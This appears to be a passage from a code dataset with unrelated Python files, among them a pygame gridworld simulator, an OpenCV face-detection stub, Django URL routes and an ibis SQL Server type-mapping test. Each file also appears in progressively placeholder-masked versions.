self.surface.blit(txt, (y, x)) self.screen.blit(self.surface, (0, 0)) pygame.display.flip() def coord2state(self, coord): s = self.coord2indx((coord[0], coord[1])) return s def state2circle(self, state, bg=True, blit=True): if bg: self.background() for n in range(self.nagents): x, y = self.indx2coord(state[n], center=True) pygame.draw.circle(self.surface, (0+(50*n), 0+(20*n), 255.0/(n+1)), (y, x), self.size / 2) if len(self.moveobstacles) > 0: for s in self.moveobstacles: x, y = self.indx2coord(s, center=True) pygame.draw.circle(self.surface, (205, 92, 0), (y, x), self.size / 2) if blit: self.screen.blit(self.surface, (0, 0)) pygame.display.flip() def draw_values(self, vals): """ vals: a dict with state labels as the key """ font = pygame.font.SysFont("FreeSans", 10) for s in range(self.nstates): x, y = self.indx2coord(s, False) v = vals[s] txt = font.render("%.1f" % v, True, (0, 0, 0)) self.surface.blit(txt, (y, x)) self.screen.blit(self.surface, (0, 0)) pygame.display.flip() # def save(self, filename): pygame.image.save(self.surface, filename) def redraw(self): self.screen.blit(self.surface, (0, 0)) pygame.display.flip() def move_obj(self, s, bg=True, blit=True): """Including A moving object into the gridworld, which moves uniformly at random in all accessible directions (including idle), without hitting the wall or another other statitic obstacle. Input: a gridworld gui, the current state index for the obstacle and the number of steps. """ if bg: self.background() x, y = self.indx2coord(s, center=True) pygame.draw.circle(self.surface, (205, 92, 0), (y, x), self.size / 2) if blit: self.screen.blit(self.surface, (0, 0)) pygame.display.flip() return def move_deter(self, next_state): self.current = next_state return def background(self): if self.bg_rendered: self.surface.blit(self.bg, (0, 0)) else: self.bg.fill((84, 84, 84)) font = pygame.font.SysFont("FreeSans", 10) for s in range(self.nstates): x, y = self.indx2coord(s, False) coords = pygame.Rect(y, x, self.size, self.size) pygame.draw.rect(self.bg, ((250, 250, 250)), coords) for n in range(self.nagents): for t in self.targets[n]: x, y = self.indx2coord(t, center=True) coords = pygame.Rect(y - self.size / 2, x - self.size / 2, self.size, self.size) pygame.draw.rect(self.bg, (0+(50*n), 204.0/(n+1), 102.0+(50*n)/(n+1)), coords) for s in self.obstacles: (x, y) = self.indx2coord(s) coords = pygame.Rect(y, x, self.size, self.size) pygame.draw.rect(self.bg, (255, 0, 0), coords) # the obstacles are in color red color = {'sand': (223, 225, 179), 'gravel': (255, 255, 255), 'grass': (211, 255, 192), 'pavement': (192, 255, 253),'deterministic': (255,255,255)} for s in range(self.nstates): if s not in self.edges and not any(s in x for x in self.targets) and s not in self.obstacles and not any(s in x for x in self.colorstates): (x, y) = self.indx2coord(s) coords = pygame.Rect(y - self.size / 2, x - self.size / 2, self.size, self.size) coords = pygame.Rect(y, x, self.size, self.size) pygame.draw.rect(self.bg, color[self.getStateRegion(s)], coords) # the obstacles are in color grey statecols = [(0,0,0),(150,150,150)] for i in range(len(self.colorstates)): for s in self.colorstates[i]: if s not in self.edges and not any(s in x for x in self.targets) and s not in self.obstacles: (x, y) = self.indx2coord(s) coords = pygame.Rect(y, x, self.size, self.size) pygame.draw.rect(self.bg, statecols[i], coords) # the obstacles are in color grey self.bg_rendered = True # don't render again unless flag is set self.surface.blit(self.bg, (0, 0))
[ "__author__ = 'sudab'\n\"\"\" Generate a grid world \"\"\"\nimport os, sys, getopt, pdb, string\nimport random\nimport numpy as np\nimport pygame\nfrom skimage import io\nimport cv2\nimport pygame.locals as pgl\n\nclass Gridworld():\n # a gridworld with uneven terrain\n def __init__(self, filename=None, initial=0, nrows=8, ncols=8, nagents=1, targets=[], obstacles=[], moveobstacles = [], regions=dict()):\n # walls are the obstacles. The edges of the gridworld will be included into the walls.\n # region is a string and can be one of: ['pavement','gravel', 'grass', 'sand']\n if filename != None:\n data = io.imread(filename)\n data = cv2.resize(data, dsize=(16, 16), interpolation=cv2.INTER_AREA)\n regionkeys = {'pavement', 'gravel', 'grass', 'sand', 'deterministic'}\n (nrows,ncols) = data.shape\n data = data.flatten()\n obstacles = list(np.where(data==0)[0])\n regions = dict.fromkeys(regionkeys, {-1})\n regions['deterministic'] = range(nrows * ncols)\n\n self.current = initial\n self.nrows = nrows\n self.ncols = ncols\n self.obstacles = obstacles\n self.regions = regions\n self.nagents = nagents\n self.nstates = nrows * ncols\n self.nactions = 5\n self.obstacles = obstacles\n self.actlist = ['R','N', 'S', 'W', 'E']\n self.targets = targets\n self.left_edge = []\n self.right_edge = []\n self.top_edge = []\n self.bottom_edge = []\n self.regions = regions\n self.moveobstacles = moveobstacles\n self.states = range(nrows*ncols)\n self.colorstates = set()\n for x in range(self.nstates):\n # note that edges are not disjoint, so we cannot use elif\n if x % self.ncols == 0:\n self.left_edge.append(x)\n if 0 <= x < self.ncols:\n self.top_edge.append(x)\n if x % self.ncols == self.ncols - 1:\n self.right_edge.append(x)\n if (self.nrows - 1) * self.ncols <= x <= self.nstates:\n self.bottom_edge.append(x)\n self.edges = self.left_edge + self.top_edge + self.right_edge + self.bottom_edge\n self.walls = self.edges + obstacles\n self.prob = {a: np.zeros((self.nstates, self.nstates)) for a in self.actlist}\n\n self.probOfSuccess = dict([])\n self.getProbRegions()\n\n for s in self.states:\n for a in self.actlist:\n self.getProbs(s, a)\n\n def coords(self, s):\n return (s / self.ncols, s % self.ncols) # the coordinate for state s.\n\n def isAllowed(self, (row,col)):\n if col not in range(self.ncols) or row not in range(self.nrows):\n return False\n return True\n\n def isAllowedState(self,(row,col),returnState):\n if self.isAllowed((row,col)):\n return self.rcoords((row,col))\n return returnState\n\n def getProbRegions(self):\n probOfSuccess = dict([])\n for ground in self.regions.keys():\n for direction in ['N', 'S', 'E', 'W']:\n if ground == 'pavement':\n mass = random.choice(range(90, 95))\n massleft = 100 - mass\n oneleft = random.choice(range(1, massleft))\n twoleft = massleft - oneleft\n if ground == 'gravel':\n mass = random.choice(range(80, 85))\n massleft = 100 - mass\n oneleft = random.choice(range(1, massleft))\n twoleft = massleft - oneleft\n if ground == 'grass':\n mass = random.choice(range(85, 90))\n massleft = 100 - mass\n oneleft = random.choice(range(1, massleft))\n twoleft = massleft - oneleft\n if ground == 'sand':\n mass = random.choice(range(65, 70))\n massleft = 100 - mass\n oneleft = random.choice(range(1, massleft))\n twoleft = massleft - oneleft\n if ground == 'deterministic':\n mass = 100\n oneleft = 0\n twoleft = 0\n probOfSuccess[(ground, direction)] = [float(mass) / 100, float(oneleft) / 100, float(twoleft) / 100]\n self.probOfSuccess = probOfSuccess\n return\n\n def rcoords(self, coords):\n s = coords[0] * self.ncols + coords[1]\n return s\n\n def getProbs(self, state, action):\n successors = []\n\n if state in self.obstacles:\n successors = [(state, 1)]\n for (next_state, p) in successors:\n self.prob[action][state, next_state] = p\n return\n row,col = self.coords(state)\n northState = self.isAllowedState((row-1,col),state)\n northwestState = self.isAllowedState((row-1,col-1),state)\n northeastState = self.isAllowedState((row-1,col+1),state)\n southState = self.isAllowedState((row+1,col),state)\n southeastState = self.isAllowedState((row+1,col+1),state)\n southwestState = self.isAllowedState((row+1,col-1),state)\n westState = self.isAllowedState((row,col-1),state)\n eastState = self.isAllowedState((row,col+1),state)\n\n reg = self.getStateRegion(state)\n if action == 'N':\n [p0, p1, p2] = self.probOfSuccess[(reg, 'N')]\n successors.append((northState, p0))\n successors.append((northwestState, p1))\n successors.append((northeastState, p2))\n\n if action == 'S':\n [p0, p1, p2] = self.probOfSuccess[(reg, 'S')]\n successors.append((southState, p0))\n successors.append((southwestState, p1))\n successors.append((southeastState, p2))\n\n if action == 'W':\n [p0, p1, p2] = self.probOfSuccess[(reg, 'W')]\n successors.append((westState, p0))\n successors.append((southwestState, p1))\n successors.append((northwestState, p2))\n\n if action == 'E':\n [p0, p1, p2] = self.probOfSuccess[(reg, 'W')]\n successors.append((eastState, p0))\n successors.append((southeastState, p1))\n successors.append((northeastState, p2))\n\n if action == 'R':\n successors.append((state,1))\n\n for (next_state, p) in successors:\n self.prob[action][state, next_state] += p\n\n def getStateRegion(self, state):\n if state in self.regions['pavement']:\n return 'pavement'\n if state in self.regions['grass']:\n return 'grass'\n if state in self.regions['gravel']:\n return 'gravel'\n if state in self.regions['sand']:\n return 'sand'\n if state in self.regions['deterministic']:\n return 'deterministic'\n\n ## Everything from here onwards is for creating the image\n\n def render(self, size=10):\n self.height = self.nrows * size + self.nrows + 1\n self.width = self.ncols * size + self.ncols + 1\n self.size = size\n\n # # initialize pygame ( SDL extensions )\n pygame.init()\n pygame.display.set_mode((self.width, self.height))\n pygame.display.set_caption('Gridworld')\n self.screen = pygame.display.get_surface()\n self.surface = pygame.Surface(self.screen.get_size())\n self.bg = pygame.Surface(self.screen.get_size())\n self.bg_rendered = False # optimize background render\n\n self.background()\n self.screen.blit(self.surface, (0, 0))\n pygame.display.flip()\n\n self.build_templates()\n self.updategui = True # switch to stop updating gui if you want to collect a trace quickly\n\n self.state2circle(self.current)\n\n def getkeyinput(self):\n events = pygame.event.get()\n for event in events:\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n return 'W'\n elif event.key == pygame.K_RIGHT:\n return 'E'\n if event.key == pygame.K_UP:\n return 'N'\n elif event.key == pygame.K_DOWN:\n return 'S'\n elif event.key == pygame.K_SPACE:\n return 'Space'\n\n def build_templates(self):\n\n # Note: template already in \"graphics\" coordinates\n template = np.array([(-1, 0), (0, 0), (1, 0), (0, 1), (1, 0), (0, -1)])\n template = self.size / 3 * template # scale template\n\n v = 1.0 / np.sqrt(2)\n rot90 = np.array([(0, 1), (-1, 0)])\n rot45 = np.array([(v, -v), (v, v)]) # neg\n\n\n #\n # align the template with the first action.\n t0 = np.dot(template, rot90)\n t0 = np.dot(t0, rot90)\n t0 = np.dot(t0, rot90)\n\n t1 = np.dot(t0, rot45)\n t2 = np.dot(t1, rot45)\n t3 = np.dot(t2, rot45)\n t4 = np.dot(t3, rot45)\n t5 = np.dot(t4, rot45)\n t6 = np.dot(t5, rot45)\n t7 = np.dot(t6, rot45)\n\n self.t = [t0, t1, t2, t3, t4, t5, t6, t7]\n\n def indx2coord(self, s, center=False):\n # the +1 indexing business is to ensure that the grid cells\n # have borders of width 1px\n i, j = self.coords(s)\n if center:\n return i * (self.size + 1) + 1 + self.size / 2, \\\n j * (self.size + 1) + 1 + self.size / 2\n else:\n return i * (self.size + 1) + 1, j * (self.size + 1) + 1\n\n def accessible_blocks(self, s):\n \"\"\"\n For a give state s, generate the list of walls around it.\n \"\"\"\n W = []\n if s in self.walls:\n return W\n if s - self.ncols < 0 or s - self.ncols in self.walls:\n pass\n else:\n W.append(s - self.ncols)\n if s - 1 < 0 or s - 1 in self.walls:\n pass\n else:\n W.append(s - 1)\n if s + 1 in self.walls:\n pass\n else:\n W.append(s + 1)\n if s + self.ncols in self.walls:\n pass\n else:\n W.append(s + self.ncols)\n return W\n\n def coord2indx(self, (x, y)):\n return self.rcoords((x / (self.size + 1), y / (self.size + 1)))\n\n def draw_state_labels(self):\n font = pygame.font.SysFont(\"FreeSans\", 10)\n for s in range(self.nstates):\n x, y = self.indx2coord(s, False)\n txt = font.render(\"%d\" % s, True, (0, 0, 0))\n self.surface.blit(txt, (y, x))\n\n self.screen.blit(self.surface, (0, 0))\n pygame.display.flip()\n\n def coord2state(self, coord):\n s = self.coord2indx((coord[0], coord[1]))\n return s\n\n def state2circle(self, state, bg=True, blit=True):\n if bg:\n self.background()\n\n for n in range(self.nagents):\n x, y = self.indx2coord(state[n], center=True)\n pygame.draw.circle(self.surface, (0+(50*n), 0+(20*n), 255.0/(n+1)), (y, x), self.size / 2)\n if len(self.moveobstacles) > 0:\n for s in self.moveobstacles:\n x, y = self.indx2coord(s, center=True)\n pygame.draw.circle(self.surface, (205, 92, 0), (y, x), self.size / 2)\n if blit:\n self.screen.blit(self.surface, (0, 0))\n pygame.display.flip()\n\n def draw_values(self, vals):\n \"\"\"\n vals: a dict with state labels as the key\n \"\"\"\n font = pygame.font.SysFont(\"FreeSans\", 10)\n\n for s in range(self.nstates):\n x, y = self.indx2coord(s, False)\n v = vals[s]\n txt = font.render(\"%.1f\" % v, True, (0, 0, 0))\n self.surface.blit(txt, (y, x))\n\n self.screen.blit(self.surface, (0, 0))\n pygame.display.flip()\n\n #\n def save(self, filename):\n pygame.image.save(self.surface, filename)\n\n def redraw(self):\n self.screen.blit(self.surface, (0, 0))\n pygame.display.flip()\n\n def move_obj(self, s, bg=True, blit=True):\n\n \"\"\"Including A moving object into the gridworld, which moves uniformly at\n random in all accessible directions (including idle), without\n hitting the wall or another other statitic obstacle. Input: a\n gridworld gui, the current state index for the obstacle and the\n number of steps.\n\n \"\"\"\n if bg:\n self.background()\n x, y = self.indx2coord(s, center=True)\n pygame.draw.circle(self.surface, (205, 92, 0), (y, x), self.size / 2)\n\n if blit:\n self.screen.blit(self.surface, (0, 0))\n pygame.display.flip()\n\n return\n\n def move_deter(self, next_state):\n self.current = next_state\n\n return\n\n def background(self):\n\n if self.bg_rendered:\n self.surface.blit(self.bg, (0, 0))\n else:\n self.bg.fill((84, 84, 84))\n font = pygame.font.SysFont(\"FreeSans\", 10)\n\n for s in range(self.nstates):\n x, y = self.indx2coord(s, False)\n coords = pygame.Rect(y, x, self.size, self.size)\n pygame.draw.rect(self.bg, ((250, 250, 250)), coords)\n for n in range(self.nagents):\n\n for t in self.targets[n]:\n x, y = self.indx2coord(t, center=True)\n coords = pygame.Rect(y - self.size / 2, x - self.size / 2, self.size, self.size)\n pygame.draw.rect(self.bg, (0+(50*n), 204.0/(n+1), 102.0+(50*n)/(n+1)), coords)\n\n for s in self.obstacles:\n (x, y) = self.indx2coord(s)\n coords = pygame.Rect(y, x, self.size, self.size)\n pygame.draw.rect(self.bg, (255, 0, 0), coords) # the obstacles are in color red\n\n color = {'sand': (223, 225, 179), 'gravel': (255, 255, 255), 'grass': (211, 255, 192),\n 'pavement': (192, 255, 253),'deterministic': (255,255,255)}\n for s in range(self.nstates):\n if s not in self.edges and not any(s in x for x in self.targets) and s not in self.obstacles and not any(s in x for x in self.colorstates):\n (x, y) = self.indx2coord(s)\n coords = pygame.Rect(y - self.size / 2, x - self.size / 2, self.size, self.size)\n coords = pygame.Rect(y, x, self.size, self.size)\n pygame.draw.rect(self.bg, color[self.getStateRegion(s)], coords) # the obstacles are in color grey\n statecols = [(0,0,0),(150,150,150)]\n for i in range(len(self.colorstates)):\n for s in self.colorstates[i]:\n if s not in self.edges and not any(s in x for x in self.targets) and s not in self.obstacles:\n (x, y) = self.indx2coord(s)\n coords = pygame.Rect(y, x, self.size, self.size)\n pygame.draw.rect(self.bg, statecols[i], coords) # the obstacles are in color grey\n\n self.bg_rendered = True # don't render again unless flag is set\n self.surface.blit(self.bg, (0, 0))" ]
true
482
759ff4cc123e85bdc8c1457bb521cd35841956cd
import numpy as np import cv2 face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') eye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml') img = cv2.imread('modi.jpg') gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.3, 5) #Write the for loop code here cv2.imshow('img',img) cv2.waitKey(0) cv2.destroyAllWindows()
[ "import numpy as np\nimport cv2\n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\n\nimg = cv2.imread('modi.jpg')\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nfaces = face_cascade.detectMultiScale(gray, 1.3, 5)\n#Write the for loop code here\n\ncv2.imshow('img',img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()", "import numpy as np\nimport cv2\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\nimg = cv2.imread('modi.jpg')\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nfaces = face_cascade.detectMultiScale(gray, 1.3, 5)\ncv2.imshow('img', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "<import token>\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\nimg = cv2.imread('modi.jpg')\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nfaces = face_cascade.detectMultiScale(gray, 1.3, 5)\ncv2.imshow('img', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "<import token>\n<assignment token>\ncv2.imshow('img', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
483
1d524312cbd3b735850046131f31c03fdfa90bbc
my_dict = {'one': '1', 'two': '2'} for key in my_dict: print('{} - {}'.format(key, my_dict[key]))
[ "my_dict = {'one': '1', 'two': '2'}\nfor key in my_dict: \n\tprint('{} - {}'.format(key, my_dict[key]))", "my_dict = {'one': '1', 'two': '2'}\nfor key in my_dict:\n print('{} - {}'.format(key, my_dict[key]))\n", "<assignment token>\nfor key in my_dict:\n print('{} - {}'.format(key, my_dict[key]))\n", "<assignment token>\n<code token>\n" ]
false
484
add56d52f3c88f814a166d12c3bc5a5906268864
from django.conf.urls import url from . import views urlpatterns = [ url(r'^class/([^/]+)/?$', views.puppet_class, name='puppet-class'), url(r'^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host, name='edit-host'), url(r'^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host, name='add-host'), url(r'^delete/([^/]+)/?$', views.delete_host, name='delete-host'), url(r'^user/(?P<loginid>[^/]+)/?$', views.edit_user, name='edit-user'), # url(r'^add-host', views.add_host, name='add-host'), url(r'^', views.index, name='index'), ]
[ "from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^class/([^/]+)/?$', views.puppet_class, name='puppet-class'),\n url(r'^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host, name='edit-host'),\n url(r'^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host, name='add-host'),\n url(r'^delete/([^/]+)/?$', views.delete_host, name='delete-host'),\n url(r'^user/(?P<loginid>[^/]+)/?$', views.edit_user, name='edit-user'),\n # url(r'^add-host', views.add_host, name='add-host'),\n url(r'^', views.index, name='index'),\n]\n", "from django.conf.urls import url\nfrom . import views\nurlpatterns = [url('^class/([^/]+)/?$', views.puppet_class, name=\n 'puppet-class'), url('^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host,\n name='edit-host'), url('^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host,\n name='add-host'), url('^delete/([^/]+)/?$', views.delete_host, name=\n 'delete-host'), url('^user/(?P<loginid>[^/]+)/?$', views.edit_user,\n name='edit-user'), url('^', views.index, name='index')]\n", "<import token>\nurlpatterns = [url('^class/([^/]+)/?$', views.puppet_class, name=\n 'puppet-class'), url('^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host,\n name='edit-host'), url('^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host,\n name='add-host'), url('^delete/([^/]+)/?$', views.delete_host, name=\n 'delete-host'), url('^user/(?P<loginid>[^/]+)/?$', views.edit_user,\n name='edit-user'), url('^', views.index, name='index')]\n", "<import token>\n<assignment token>\n" ]
false
485
00e9872136e5753364117adbf60793e660c8bef0
from __future__ import annotations import pytest from pytest import param import ibis import ibis.expr.datatypes as dt from ibis.backends.base.sql.alchemy.geospatial import geospatial_supported DB_TYPES = [ # Exact numbers ("BIGINT", dt.int64), ("BIT", dt.boolean), ("DECIMAL", dt.Decimal(precision=18, scale=0)), ("DECIMAL(5, 2)", dt.Decimal(precision=5, scale=2)), ("INT", dt.int32), ("MONEY", dt.int64), ("NUMERIC", dt.Decimal(18, 0)), ("NUMERIC(10,5)", dt.Decimal(10, 5)), ("NUMERIC(14,3)", dt.Decimal(14, 3)), ("SMALLINT", dt.int16), ("SMALLMONEY", dt.int32), ("TINYINT", dt.int8), # Approximate numerics ("REAL", dt.float32), ("FLOAT", dt.float64), ("FLOAT(3)", dt.float32), ("FLOAT(25)", dt.float64), # Date and time ("DATE", dt.date), ("TIME", dt.time), ("DATETIME2", dt.timestamp(scale=7)), ("DATETIMEOFFSET", dt.timestamp(scale=7, timezone="UTC")), ("SMALLDATETIME", dt.timestamp), ("DATETIME", dt.timestamp), # Characters strings ("CHAR", dt.string), ("TEXT", dt.string), ("VARCHAR", dt.string), # Unicode character strings ("NCHAR", dt.string), ("NTEXT", dt.string), ("NVARCHAR", dt.string), # Binary strings ("BINARY", dt.binary), ("VARBINARY", dt.binary), ("IMAGE", dt.binary), # Other data types ("UNIQUEIDENTIFIER", dt.uuid), ("TIMESTAMP", dt.binary(nullable=False)), ] skipif_no_geospatial_deps = pytest.mark.skipif( not geospatial_supported, reason="geospatial dependencies not installed" ) broken_sqlalchemy_autoload = pytest.mark.xfail( reason="scale not inferred by sqlalchemy autoload" ) @pytest.mark.parametrize( ("server_type", "expected_type"), DB_TYPES + [ param("GEOMETRY", dt.geometry, marks=[skipif_no_geospatial_deps]), param("GEOGRAPHY", dt.geography, marks=[skipif_no_geospatial_deps]), ] + [ param( "DATETIME2(4)", dt.timestamp(scale=4), marks=[broken_sqlalchemy_autoload] ), param( "DATETIMEOFFSET(5)", dt.timestamp(scale=5, timezone="UTC"), marks=[broken_sqlalchemy_autoload], ), ], ids=str, ) def test_get_schema_from_query(con, server_type, expected_type, temp_table): expected_schema = ibis.schema(dict(x=expected_type)) with con.begin() as c: c.exec_driver_sql(f"CREATE TABLE [{temp_table}] (x {server_type})") expected_schema = ibis.schema(dict(x=expected_type)) result_schema = con._get_schema_using_query(f"SELECT * FROM [{temp_table}]") assert result_schema == expected_schema t = con.table(temp_table) assert t.schema() == expected_schema
[ "from __future__ import annotations\n\nimport pytest\nfrom pytest import param\n\nimport ibis\nimport ibis.expr.datatypes as dt\nfrom ibis.backends.base.sql.alchemy.geospatial import geospatial_supported\n\nDB_TYPES = [\n # Exact numbers\n (\"BIGINT\", dt.int64),\n (\"BIT\", dt.boolean),\n (\"DECIMAL\", dt.Decimal(precision=18, scale=0)),\n (\"DECIMAL(5, 2)\", dt.Decimal(precision=5, scale=2)),\n (\"INT\", dt.int32),\n (\"MONEY\", dt.int64),\n (\"NUMERIC\", dt.Decimal(18, 0)),\n (\"NUMERIC(10,5)\", dt.Decimal(10, 5)),\n (\"NUMERIC(14,3)\", dt.Decimal(14, 3)),\n (\"SMALLINT\", dt.int16),\n (\"SMALLMONEY\", dt.int32),\n (\"TINYINT\", dt.int8),\n # Approximate numerics\n (\"REAL\", dt.float32),\n (\"FLOAT\", dt.float64),\n (\"FLOAT(3)\", dt.float32),\n (\"FLOAT(25)\", dt.float64),\n # Date and time\n (\"DATE\", dt.date),\n (\"TIME\", dt.time),\n (\"DATETIME2\", dt.timestamp(scale=7)),\n (\"DATETIMEOFFSET\", dt.timestamp(scale=7, timezone=\"UTC\")),\n (\"SMALLDATETIME\", dt.timestamp),\n (\"DATETIME\", dt.timestamp),\n # Characters strings\n (\"CHAR\", dt.string),\n (\"TEXT\", dt.string),\n (\"VARCHAR\", dt.string),\n # Unicode character strings\n (\"NCHAR\", dt.string),\n (\"NTEXT\", dt.string),\n (\"NVARCHAR\", dt.string),\n # Binary strings\n (\"BINARY\", dt.binary),\n (\"VARBINARY\", dt.binary),\n (\"IMAGE\", dt.binary),\n # Other data types\n (\"UNIQUEIDENTIFIER\", dt.uuid),\n (\"TIMESTAMP\", dt.binary(nullable=False)),\n]\n\n\nskipif_no_geospatial_deps = pytest.mark.skipif(\n not geospatial_supported, reason=\"geospatial dependencies not installed\"\n)\n\nbroken_sqlalchemy_autoload = pytest.mark.xfail(\n reason=\"scale not inferred by sqlalchemy autoload\"\n)\n\n\[email protected](\n (\"server_type\", \"expected_type\"),\n DB_TYPES\n + [\n param(\"GEOMETRY\", dt.geometry, marks=[skipif_no_geospatial_deps]),\n param(\"GEOGRAPHY\", dt.geography, marks=[skipif_no_geospatial_deps]),\n ]\n + [\n param(\n \"DATETIME2(4)\", dt.timestamp(scale=4), marks=[broken_sqlalchemy_autoload]\n ),\n param(\n \"DATETIMEOFFSET(5)\",\n dt.timestamp(scale=5, timezone=\"UTC\"),\n marks=[broken_sqlalchemy_autoload],\n ),\n ],\n ids=str,\n)\ndef test_get_schema_from_query(con, server_type, expected_type, temp_table):\n expected_schema = ibis.schema(dict(x=expected_type))\n with con.begin() as c:\n c.exec_driver_sql(f\"CREATE TABLE [{temp_table}] (x {server_type})\")\n expected_schema = ibis.schema(dict(x=expected_type))\n result_schema = con._get_schema_using_query(f\"SELECT * FROM [{temp_table}]\")\n assert result_schema == expected_schema\n t = con.table(temp_table)\n assert t.schema() == expected_schema\n", "from __future__ import annotations\nimport pytest\nfrom pytest import param\nimport ibis\nimport ibis.expr.datatypes as dt\nfrom ibis.backends.base.sql.alchemy.geospatial import geospatial_supported\nDB_TYPES = [('BIGINT', dt.int64), ('BIT', dt.boolean), ('DECIMAL', dt.\n Decimal(precision=18, scale=0)), ('DECIMAL(5, 2)', dt.Decimal(precision\n =5, scale=2)), ('INT', dt.int32), ('MONEY', dt.int64), ('NUMERIC', dt.\n Decimal(18, 0)), ('NUMERIC(10,5)', dt.Decimal(10, 5)), ('NUMERIC(14,3)',\n dt.Decimal(14, 3)), ('SMALLINT', dt.int16), ('SMALLMONEY', dt.int32), (\n 'TINYINT', dt.int8), ('REAL', dt.float32), ('FLOAT', dt.float64), (\n 'FLOAT(3)', dt.float32), ('FLOAT(25)', dt.float64), ('DATE', dt.date),\n ('TIME', dt.time), ('DATETIME2', dt.timestamp(scale=7)), (\n 'DATETIMEOFFSET', dt.timestamp(scale=7, timezone='UTC')), (\n 'SMALLDATETIME', dt.timestamp), ('DATETIME', dt.timestamp), ('CHAR', dt\n .string), ('TEXT', dt.string), ('VARCHAR', dt.string), ('NCHAR', dt.\n string), ('NTEXT', dt.string), ('NVARCHAR', dt.string), ('BINARY', dt.\n binary), ('VARBINARY', dt.binary), ('IMAGE', dt.binary), (\n 'UNIQUEIDENTIFIER', dt.uuid), ('TIMESTAMP', dt.binary(nullable=False))]\nskipif_no_geospatial_deps = pytest.mark.skipif(not geospatial_supported,\n reason='geospatial dependencies not installed')\nbroken_sqlalchemy_autoload = pytest.mark.xfail(reason=\n 'scale not inferred by sqlalchemy autoload')\n\n\[email protected](('server_type', 'expected_type'), DB_TYPES + [\n param('GEOMETRY', dt.geometry, marks=[skipif_no_geospatial_deps]),\n param('GEOGRAPHY', dt.geography, marks=[skipif_no_geospatial_deps])] +\n [param('DATETIME2(4)', dt.timestamp(scale=4), marks=[\n broken_sqlalchemy_autoload]), param('DATETIMEOFFSET(5)', dt.timestamp(\n scale=5, timezone='UTC'), marks=[broken_sqlalchemy_autoload])], ids=str)\ndef test_get_schema_from_query(con, server_type, expected_type, temp_table):\n expected_schema = ibis.schema(dict(x=expected_type))\n with con.begin() as c:\n c.exec_driver_sql(f'CREATE TABLE [{temp_table}] (x {server_type})')\n expected_schema = ibis.schema(dict(x=expected_type))\n result_schema = con._get_schema_using_query(f'SELECT * FROM [{temp_table}]'\n )\n assert result_schema == expected_schema\n t = con.table(temp_table)\n assert t.schema() == expected_schema\n", "<import token>\nDB_TYPES = [('BIGINT', dt.int64), ('BIT', dt.boolean), ('DECIMAL', dt.\n Decimal(precision=18, scale=0)), ('DECIMAL(5, 2)', dt.Decimal(precision\n =5, scale=2)), ('INT', dt.int32), ('MONEY', dt.int64), ('NUMERIC', dt.\n Decimal(18, 0)), ('NUMERIC(10,5)', dt.Decimal(10, 5)), ('NUMERIC(14,3)',\n dt.Decimal(14, 3)), ('SMALLINT', dt.int16), ('SMALLMONEY', dt.int32), (\n 'TINYINT', dt.int8), ('REAL', dt.float32), ('FLOAT', dt.float64), (\n 'FLOAT(3)', dt.float32), ('FLOAT(25)', dt.float64), ('DATE', dt.date),\n ('TIME', dt.time), ('DATETIME2', dt.timestamp(scale=7)), (\n 'DATETIMEOFFSET', dt.timestamp(scale=7, timezone='UTC')), (\n 'SMALLDATETIME', dt.timestamp), ('DATETIME', dt.timestamp), ('CHAR', dt\n .string), ('TEXT', dt.string), ('VARCHAR', dt.string), ('NCHAR', dt.\n string), ('NTEXT', dt.string), ('NVARCHAR', dt.string), ('BINARY', dt.\n binary), ('VARBINARY', dt.binary), ('IMAGE', dt.binary), (\n 'UNIQUEIDENTIFIER', dt.uuid), ('TIMESTAMP', dt.binary(nullable=False))]\nskipif_no_geospatial_deps = pytest.mark.skipif(not geospatial_supported,\n reason='geospatial dependencies not installed')\nbroken_sqlalchemy_autoload = pytest.mark.xfail(reason=\n 'scale not inferred by sqlalchemy autoload')\n\n\[email protected](('server_type', 'expected_type'), DB_TYPES + [\n param('GEOMETRY', dt.geometry, marks=[skipif_no_geospatial_deps]),\n param('GEOGRAPHY', dt.geography, marks=[skipif_no_geospatial_deps])] +\n [param('DATETIME2(4)', dt.timestamp(scale=4), marks=[\n broken_sqlalchemy_autoload]), param('DATETIMEOFFSET(5)', dt.timestamp(\n scale=5, timezone='UTC'), marks=[broken_sqlalchemy_autoload])], ids=str)\ndef test_get_schema_from_query(con, server_type, expected_type, temp_table):\n expected_schema = ibis.schema(dict(x=expected_type))\n with con.begin() as c:\n c.exec_driver_sql(f'CREATE TABLE [{temp_table}] (x {server_type})')\n expected_schema = ibis.schema(dict(x=expected_type))\n result_schema = con._get_schema_using_query(f'SELECT * FROM [{temp_table}]'\n )\n assert result_schema == expected_schema\n t = con.table(temp_table)\n assert t.schema() == expected_schema\n", "<import token>\n<assignment token>\n\n\[email protected](('server_type', 'expected_type'), DB_TYPES + [\n param('GEOMETRY', dt.geometry, marks=[skipif_no_geospatial_deps]),\n param('GEOGRAPHY', dt.geography, marks=[skipif_no_geospatial_deps])] +\n [param('DATETIME2(4)', 